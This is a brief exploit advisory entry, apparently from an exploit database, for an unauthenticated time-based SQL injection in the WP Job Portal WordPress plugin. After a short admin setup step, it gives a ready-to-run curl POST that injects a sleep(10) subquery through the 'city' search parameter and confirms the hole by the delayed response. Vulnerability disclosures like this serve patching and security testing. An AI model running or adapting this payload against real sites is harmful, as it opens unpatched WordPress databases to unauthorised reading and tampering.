## https://sploitus.com/exploit?id=WPEX-ID:986024F0-3C8D-44D8-A9C9-1DD284D7DB0D
Setup (as admin): Create a dummy company and a job (if there are none)
Attack (as unauthenticated):
time curl -X POST --data 'jobtitle=a&city=(select*from(select(sleep(10)))a)&wpjobportallay=jobs&WPJOBPORTAL_form_search=WPJOBPORTAL_SEARCH' https://example.com/wp-job-portal-jobseeker-controlpanel/jobs/
and notice the 10s delay of the response